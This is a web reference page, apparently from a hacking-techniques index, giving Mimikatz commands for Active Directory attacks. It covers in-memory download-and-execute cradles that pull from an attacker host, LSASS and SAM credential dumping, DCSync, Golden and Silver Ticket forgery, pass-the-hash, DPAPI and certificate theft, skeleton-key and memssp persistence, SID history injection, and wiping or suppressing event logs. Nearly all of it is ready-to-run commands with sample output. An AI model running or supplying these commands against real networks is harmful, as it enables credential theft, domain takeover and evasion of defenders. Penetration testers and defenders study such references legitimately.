# Mimikatz Active Directory Reference > Comprehensive Mimikatz commands for AD exploitation including credential dumping, pass-the-hash, Kerberos ticket attacks, and DCSync techniques. - **URL:** https://hackindex.io/platforms/active-directory/exploitation/mimikatz-active-directory-reference - **Path:** Active Directory > Exploitation - **Up:** [Exploitation](https://hackindex.io/platforms/active-directory/exploitation.md) - **Published:** 2026-09-11 - **Updated:** 2026-09-11 Mimikatz is a Windows post-exploitation tool for credential extraction, Kerberos ticket manipulation, token impersonation, and DPAPI decryption. It reads credentials directly from LSASS memory, dumps SAM and LSA secrets, performs DCSync, forges Golden and Silver Tickets, and manipulates tokens and privileges. Most operations require local admin or SYSTEM. ## Getting Mimikatz Mimikatz ships pre-compiled on Kali at `/usr/share/windows-resources/mimikatz/x64/mimikatz.exe`. Transfer it to the target, or run it in memory to avoid dropping it to disk. **Transfer Mimikatz to target** ```bash python3 -m http.server 80 -d /usr/share/windows-resources/mimikatz/x64/ ``` **Download and run on target** ```powershell # Download to disk Invoke-WebRequest -Uri http://$LHOST/mimikatz.exe -OutFile C:\Windows\Temp\mimikatz.exe # Or load Invoke-Mimikatz reflectively (no file on disk) IEX (New-Object Net.WebClient).DownloadString('http://$LHOST/Invoke-Mimikatz.ps1') Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonpasswords"' ``` ## Enable Debug Privilege Almost every credential extraction command requires `SeDebugPrivilege`. Run `privilege::debug` first in every Mimikatz session. This requires local admin or SYSTEM. ```bash privilege::debug # Privilege '20' OK ``` If you get `ERROR kuhl_m_privilege_simple ; RtlAdjustPrivilege (20) c0000061`, the current process does not have admin rights. Escalate first or migrate to a SYSTEM process. ## One-Liner Execution Run multiple commands without the interactive prompt by chaining them on the command line. Useful for quick grabs and scripted execution. **Non-interactive one-liners** ```powershell # Dump all logon passwords in one shot .\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" # DCSync a specific user .\mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:$DOMAIN /user:krbtgt" "exit" # Log output to file .\mimikatz.exe "log mimikatz.log" "privilege::debug" "sekurlsa::logonpasswords" "exit" ``` ## Placeholders Used Here - `$DOMAIN` - FQDN, e.g. `corp.local`. - `$USER` / `$PASSWORD` - current foothold account credentials. - `$NTHASH` - NT hash (RC4 key). - `$AES_KEY` - AES-256 key. - `$TARGET_IP` - DC IP address. - `$TARGET_USER` - sAMAccountName of the target account. - `$LHOST` - attacker IP for file transfers. ## Credential Extraction from LSASS (sekurlsa) The `sekurlsa` module reads credentials from LSASS process memory. `logonpasswords` dumps everything at once: NTLM hashes, plaintext passwords (when WDigest is enabled), Kerberos tickets, and more. The individual subcommands target specific providers. **sekurlsa::logonpasswords** ```bash sekurlsa::logonpasswords # Authentication Id : 0 ; 287467 (00000000:000462eb) # Session : Interactive from 1 # User Name : svc_backup # Domain : CORP # Logon Server : DC01 # Logon Time : 9/12/2026 2:14:28 AM # SID : S-1-5-21-...-1104 # msv : # [00000003] Primary # * Username : svc_backup # * Domain : CORP # * NTLM : fc525c9683e8fe067095ba2ddc971889 # * SHA1 : a4b3c2d1e0f9a8b7c6d5e4f3a2b1c0d9e8f7a6b5 # wdigest : # * Username : svc_backup # * Domain : CORP # * Password : (null) # kerberos : # * Username : svc_backup # * Domain : CORP.LOCAL # * Password : (null) ``` **Individual sekurlsa providers** ```bash # NTLM hashes only sekurlsa::msv # WDigest credentials (plaintext when enabled) sekurlsa::wdigest # Kerberos credentials and keys sekurlsa::kerberos # Kerberos encryption keys (RC4, AES128, AES256) sekurlsa::ekeys # Kerberos tickets from memory sekurlsa::tickets /export # Credential Manager entries sekurlsa::credman # DPAPI system keys sekurlsa::dpapi ``` ### Working with LSASS minidumps When you cannot run Mimikatz on the target directly, dump LSASS with Task Manager, ProcDump, comsvcs.dll, or nanodump, then process the dump offline. **Dump LSASS (on target)** ```powershell # Using comsvcs.dll (no external tools needed) rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id C:\Windows\Temp\lsass.dmp full # Using ProcDump (Sysinternals) procdump.exe -accepteula -ma lsass.exe lsass.dmp ``` **Process LSASS dump offline** ```bash sekurlsa::minidump lsass.dmp sekurlsa::logonpasswords # Switch to MINIDUMP : 'lsass.dmp' # Opening : 'lsass.dmp' file for minidump... ``` ## SAM, Secrets and Cached Credentials (lsadump) `lsadump::sam` dumps local account hashes from the SAM database. `lsadump::secrets` dumps LSA secrets (service account passwords, auto-logon credentials, DPAPI keys). `lsadump::cache` dumps cached domain logon credentials (DCC2/MSCachev2). All work live (with SYSTEM) or offline against exported registry hives. **lsadump::sam / secrets / cache (live)** ```bash # Dump local SAM hashes lsadump::sam # Dump LSA secrets (service account passwords, DPAPI keys) lsadump::secrets # Dump cached domain credentials (DCC2) lsadump::cache # Domain : CORP # SysKey : 1a2b3c... # # RID : 000001f4 (500) # User : Administrator # Hash NTLM: fc525c9683e8fe067095ba2ddc971889 ``` **lsadump offline (from registry hive exports)** ```bash # Export hives on target first: reg save HKLM\SAM sam.hiv && reg save HKLM\SYSTEM system.hiv && reg save HKLM\SECURITY security.hiv # SAM hashes offline lsadump::sam /system:system.hiv /sam:sam.hiv # LSA secrets offline lsadump::secrets /system:system.hiv /security:security.hiv # Cached domain credentials offline lsadump::cache /system:system.hiv /security:security.hiv ``` ## DCSync `lsadump::dcsync` impersonates a domain controller and requests credential replication via MS-DRSR. Requires Replicating Directory Changes and Replicating Directory Changes All rights (Domain Admins, Enterprise Admins, or accounts granted DCSync explicitly). Runs over the network, no code execution on the DC needed. **lsadump::dcsync** ```bash # DCSync the krbtgt account (needed for Golden Ticket) lsadump::dcsync /domain:$DOMAIN /user:krbtgt # DCSync the Administrator account lsadump::dcsync /domain:$DOMAIN /user:$DOMAIN\Administrator # DCSync all accounts lsadump::dcsync /domain:$DOMAIN /all /csv # Target a specific DC lsadump::dcsync /domain:$DOMAIN /user:krbtgt /dc:dc01.$DOMAIN # Object RDN : krbtgt # # ** SAM ACCOUNT ** # # SAM Username : krbtgt # Account Type : 30000000 ( USER_OBJECT ) # # Credentials: # Hash NTLM: d3c02561bba6ee4ad6cfd024ec8fda5d # ntlm- 0: d3c02561bba6ee4ad6cfd024ec8fda5d # lm - 0: e52cac67419a9a224a3b108f3fa6cb6d # # Supplemental Credentials: # * Kerberos-Newer-Keys * # aes256_hmac (4096) : 9c4b8a1d... # aes128_hmac (4096) : 7a2d1e3f... # des_cbc_md5 (4096) : 1f2e3d4c... ``` The krbtgt NTLM hash and AES keys from DCSync are the input for Golden Ticket forgery. See [Golden Ticket and Silver Ticket](https://hackindex.io/platforms/active-directory/exploitation/golden-ticket-silver-ticket). ## Kerberos Ticket Operations The `kerberos` module lists, exports, imports, and purges Kerberos tickets in the current session. **kerberos::list / tgt / purge / ptt** ```bash # List all Kerberos tickets in the current session kerberos::list # List and export tickets as .kirbi files kerberos::list /export # Show the current TGT kerberos::tgt # Purge all tickets from the current session kerberos::purge # Pass-the-ticket: import a .kirbi file kerberos::ptt ticket.kirbi # Import all .kirbi files from a directory kerberos::ptt C:\tickets\ # Import a ccache ticket (MIT/Heimdall format) kerberos::ptc ticket.ccache ``` ## Golden Ticket Forge a TGT with the krbtgt hash. Grants access to any service in the domain as any user. Requires the krbtgt NTLM hash or AES key (from DCSync or `lsadump::lsa`) and the domain SID. **kerberos::golden (Golden Ticket)** ```bash # Golden Ticket with NTLM hash, inject into session kerberos::golden /domain:$DOMAIN /sid:S-1-5-21-... /krbtgt:d3c02561bba6ee4ad6cfd024ec8fda5d /user:Administrator /id:500 /ptt # Golden Ticket with AES-256 key (stealthier) kerberos::golden /domain:$DOMAIN /sid:S-1-5-21-... /aes256:$AES_KEY /user:Administrator /id:500 /ptt # Save to file instead of injecting kerberos::golden /domain:$DOMAIN /sid:S-1-5-21-... /krbtgt:d3c02561bba6ee4ad6cfd024ec8fda5d /user:Administrator /id:500 /ticket:golden.kirbi # Cross-domain: add Enterprise Admins SID from parent domain kerberos::golden /domain:child.$DOMAIN /sid:S-1-5-21-child... /sids:S-1-5-21-parent...-519 /krbtgt: /user:Administrator /ptt # User : Administrator # Domain : CORP.LOCAL (CORP) # SID : S-1-5-21-... # User Id : 500 # Groups Id : *512 520 513 519 518 # ServiceKey: d3c02561bba6ee4ad6cfd024ec8fda5d - rc4_hmac_nt # Lifetime : 9/12/2026 ... ; 9/9/2036 ... # -> Ticket : ** Pass The Ticket ** # # Golden ticket for 'Administrator @ CORP.LOCAL' successfully submitted for current session ``` ## Silver Ticket Forge a service ticket for a specific service on a specific host. Requires the service account's NTLM hash or AES key and the domain SID. Does not touch the DC, so no TGT validation occurs. **kerberos::golden (Silver Ticket)** ```bash # Silver Ticket for CIFS (file share access) kerberos::golden /domain:$DOMAIN /sid:S-1-5-21-... /target:dc01.$DOMAIN /service:cifs /rc4: /user:Administrator /ptt # Silver Ticket for LDAP (DCSync without DC admin) kerberos::golden /domain:$DOMAIN /sid:S-1-5-21-... /target:dc01.$DOMAIN /service:ldap /rc4: /user:Administrator /ptt # Silver Ticket for HTTP (web service access) kerberos::golden /domain:$DOMAIN /sid:S-1-5-21-... /target:web01.$DOMAIN /service:http /rc4: /user:Administrator /ptt # Silver Ticket for HOST + RPCSS (PsExec-style execution) kerberos::golden /domain:$DOMAIN /sid:S-1-5-21-... /target:target.$DOMAIN /service:host /rc4: /user:Administrator /ptt kerberos::golden /domain:$DOMAIN /sid:S-1-5-21-... /target:target.$DOMAIN /service:rpcss /rc4: /user:Administrator /ptt ``` ## Pass-the-Hash `sekurlsa::pth` starts a new process with a forged Kerberos identity using an NTLM hash or AES key. The new process authenticates to remote services as the target user without knowing the plaintext password. **sekurlsa::pth** ```bash # Pass-the-hash with NTLM (spawns cmd.exe as target user) sekurlsa::pth /user:Administrator /domain:$DOMAIN /ntlm:$NTHASH # Pass-the-hash with AES key sekurlsa::pth /user:Administrator /domain:$DOMAIN /aes256:$AES_KEY # Spawn a specific program sekurlsa::pth /user:Administrator /domain:$DOMAIN /ntlm:$NTHASH /run:powershell.exe # Local account pass-the-hash sekurlsa::pth /user:Administrator /domain:. /ntlm:$NTHASH # user : Administrator # domain : CORP # program : cmd.exe # impers. : no # NTLM : fc525c9683e8fe067095ba2ddc971889 # | PID 3204 # | TID 3208 # | LSA Process is now R/W # | LUID 0 ; 5765432 (00000000:00580938) # \_ msv1_0 - data copy @ 0000025C4A1E2B30 : OK ! # \_ kerberos - data copy @ 0000025C4A3F1A40 # \_ aes256_hmac -> null # \_ aes128_hmac -> null # \_ rc4_hmac_nt OK # \_ rc4_hmac_old OK # \_ rc4_md4 OK # \_ rc4_hmac_nt_exp OK # \_ rc4_hmac_old_exp OK # \_ *Password replace @ 0000025C4A3F58C8 (32) -> null ``` The spawned cmd.exe or PowerShell window uses the forged identity. Any network authentication from that process (dir \\dc01\c$, PsExec, etc.) authenticates as the target user. ## Token Manipulation The `token` module lists and impersonates tokens from other processes and logon sessions. Useful for elevating to SYSTEM or impersonating a domain admin whose token exists on the machine. **token::elevate / list / revert** ```bash # Elevate to SYSTEM token token::elevate # Elevate to a domain admin token (if one exists on the system) token::elevate /domainadmin # List all available tokens token::list # Show current identity token::whoami # Revert to original token token::revert # Token Id : 0 # User name : NT AUTHORITY\SYSTEM # SID name : NT AUTHORITY\SYSTEM ``` ## DPAPI Credential Decryption The `dpapi` module decrypts Windows Data Protection API protected data: saved browser passwords, Wi-Fi keys, Credential Manager entries, RDP saved credentials, and more. Requires the user's DPAPI master key (from `sekurlsa::dpapi` or recovered via `/rpc` with domain backup key). **dpapi credential decryption** ```bash # List cached DPAPI master keys from LSASS sekurlsa::dpapi # Decrypt a DPAPI master key file with the user's password dpapi::masterkey /in:C:\Users\$TARGET_USER\AppData\Roaming\Microsoft\Protect\S-1-5-21-...\masterkey-guid /password:$PASSWORD # Decrypt a DPAPI master key via RPC to the DC (requires domain admin) dpapi::masterkey /in:C:\Users\$TARGET_USER\AppData\Roaming\Microsoft\Protect\S-1-5-21-...\masterkey-guid /rpc # Decrypt a Credential Manager blob dpapi::cred /in:C:\Users\$TARGET_USER\AppData\Local\Microsoft\Credentials\credential-guid /masterkey:abcdef1234... # Decrypt Chrome saved passwords dpapi::chrome /in:"C:\Users\$TARGET_USER\AppData\Local\Google\Chrome\User Data\Default\Login Data" /masterkey:abcdef1234... ``` ## Certificate Operations (crypto) The `crypto` module lists and exports certificates and private keys from the Windows certificate store. `crypto::capi` and `crypto::cng` patch the CryptoAPI and CNG providers to allow exporting non-exportable private keys. **crypto::certificates / keys / capi / cng** ```bash # List certificates in the local machine personal store crypto::certificates /systemstore:LOCAL_MACHINE /store:My # Export all certificates with private keys crypto::certificates /systemstore:LOCAL_MACHINE /store:My /export # List and export CryptoAPI key containers crypto::keys /export # Patch CryptoAPI to allow export of non-exportable keys crypto::capi crypto::certificates /systemstore:LOCAL_MACHINE /store:My /export # Patch CNG provider for non-exportable keys crypto::cng crypto::keys /export ``` Exported certificates and keys are relevant for ADCS abuse (ESC1, ESC4, etc.), PKINIT authentication, and Schannel-based attacks. See [ADCS Exploitation](https://hackindex.io/platforms/active-directory/exploitation/adcs-exploitation). ## Skeleton Key `misc::skeleton` patches LSASS on a DC to accept a master password (`mimikatz`) alongside every user's real password. Every account in the domain can then authenticate with either their real password or the skeleton key. Requires SYSTEM on the DC. Survives until the DC is rebooted. **misc::skeleton** ```bash # Inject skeleton key into LSASS (run on DC as SYSTEM) privilege::debug misc::skeleton # [KDC] data # [KDC] struct # [KDC] keys patch OK # [RC4] functions # [RC4] init patch OK # [RC4] decrypt patch OK ``` **Verify skeleton key works** ```bash nxc smb $TARGET_IP -u Administrator -p mimikatz -d $DOMAIN # SMB 10.10.10.10 445 DC01 [+] corp.local\Administrator:mimikatz ``` ## In-Memory SSP (Credential Logger) `misc::memssp` injects a Security Support Provider into LSASS that logs every authentication to `C:\Windows\System32\mimilsa.log` in plaintext. Useful for capturing credentials of users who log in after you have access. **misc::memssp** ```bash privilege::debug misc::memssp # [+] Injected =) ``` ## SID History Injection The `sid` module patches the NTDS service to allow writing to `sIDHistory`. Adding a privileged SID (Domain Admins, Enterprise Admins) to a controlled account's SID history grants those privileges transparently. **sid::patch + sid::add** ```bash # Patch NTDS to allow SID history modification (run on DC) privilege::debug sid::patch # Add Domain Admins SID to a controlled user's sIDHistory sid::add /sam:$USER /new:S-1-5-21-...-512 # Look up a SID sid::lookup /name:"Domain Admins" ``` ## Terminal Services `ts::multirdp` patches the Terminal Server service to allow multiple concurrent RDP sessions. `ts::sessions` lists active sessions. **ts::multirdp / sessions** ```bash # Enable multiple concurrent RDP sessions privilege::debug ts::multirdp # List active sessions ts::sessions ``` ## Event Log Manipulation `event::drop` patches the Event Log service to silently discard new events. `event::clear` wipes an existing event log. **event::drop / clear** ```bash # Patch Event Log service to drop new events (until reboot) privilege::debug event::drop # Clear the Security event log event::clear /log:Security ``` ## Kerberos Key Derivation `kerberos::hash` calculates Kerberos keys (RC4, AES-128, AES-256, DES) from a plaintext password, similar to Rubeus `hash`. **kerberos::hash** ```bash kerberos::hash /password:$PASSWORD /user:$USER /domain:$DOMAIN # rc4_hmac_nt : 2B576ACBE6BCFDA7294D6BD18041B8FE # aes128_hmac : 7A2D1E3F... # aes256_hmac : 9C4B8A1D... # des_cbc_md5 : 1F2E3D4C... ``` ## Common Workflows - **Full credential dump**: `privilege::debug`, `sekurlsa::logonpasswords` for LSASS, `lsadump::sam` for local hashes, `lsadump::secrets` for service account passwords. - **DCSync to Golden Ticket**: `lsadump::dcsync /user:krbtgt` to get the hash, then `kerberos::golden /krbtgt: /ptt` for persistent domain access. - **Pass-the-Hash lateral movement**: `sekurlsa::pth /user:admin /ntlm:` spawns a process, then `dir \\target\c$` or PsExec from that process. - **Offline dump analysis**: dump LSASS with comsvcs.dll or ProcDump on target, exfiltrate the dump, then `sekurlsa::minidump lsass.dmp` + `sekurlsa::logonpasswords` offline. - **Certificate theft for PKINIT**: `crypto::capi` to patch export restrictions, `crypto::certificates /export` to grab PFX files, then use with Rubeus `asktgt /certificate:` or certipy. - **Persistence on DC**: `misc::skeleton` for skeleton key (master password), or `misc::memssp` to log future authentications, or Golden Ticket for offline access. ## References - [Mimikatz (GitHub)](https://github.com/gentilkiwi/mimikatz) - Windows credential extraction, Kerberos ticket manipulation, DPAPI decryption, token impersonation. - [Mimikatz Wiki](https://github.com/gentilkiwi/mimikatz/wiki) - Full module and command reference with usage examples. - [Impacket (GitHub)](https://github.com/fortra/impacket) - Linux-side alternatives: secretsdump (DCSync/SAM), getTGT, getST. Complements Mimikatz from a Kali host. - [Rubeus (GitHub)](https://github.com/GhostPack/Rubeus) - C# Kerberos toolkit. Handles ticket operations that overlap with Mimikatz kerberos module, plus roasting and S4U.